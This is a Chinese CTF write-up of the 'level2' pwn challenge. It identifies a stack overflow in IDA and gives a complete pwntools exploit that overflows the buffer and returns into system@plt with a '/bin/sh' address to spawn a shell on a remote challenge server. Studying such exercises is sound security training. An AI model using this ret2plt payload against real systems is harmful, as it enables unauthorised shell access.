level2

image.png

0x00 filechecksec(看不到,看不到,看不到)

image.png

0x01 ida查看

image.png
  • 明显的栈溢出
  • 这个题目和之前的不一样,这个里面没有直接system('/bin/sh')之类的函数,所以需要我们构造
  • ida查看字符串和左侧function
    image.png

    image.png
  • 所以直接调用plt_system即可

0x02 完整exp

from pwn import *

local=0
pc='./level2'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

if local==1:
    #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
    p = process(pc,aslr=aslr)
    gdb.attach(p,'c')
else:
    remote_addr=['111.198.29.45', 58516]
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

if __name__ == '__main__':
    rl()
    plt_system_addr = 0x08048320
    bin_sh_addr = 0x0804a024
    payload = 'a'*0x88
    payload += 'bbbb'
    payload += p32(plt_system_addr)
    payload += 'fake'
    payload += p32(bin_sh_addr)
    sl(payload)
    p.interactive()

0x03 结果

image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 0x00 一些歪道理 比赛时pwn是肯定pwn不出来的,只有靠赛后复现才能够勉强维持得了尊严。不过确实能学到一些知...
    Fish_o0O阅读 1,547评论 3 8
  • monkey 本题是一个 c 语言框架的 js执行 查看wp的得到提示这个 框架内置函数有 os.system()...
    fantasy_learner阅读 4,767评论 0 1
  • checksec查看一下保护的情况 好的,只开启了NX,其余的都没有开启。进入ida,shift+F12发现了“b...
    poxlove3阅读 721评论 0 1
  • checksec看一下,没什么特别的。想起来了就再把checksec复习一下吧,checksec,是用来检查可执行...
    poxlove3阅读 1,152评论 0 0
  • 先checksec ,只开了NX IDA分析:栈溢出,而且也可以看到是有system函数的 shift + F12...
    n0va阅读 1,042评论 0 1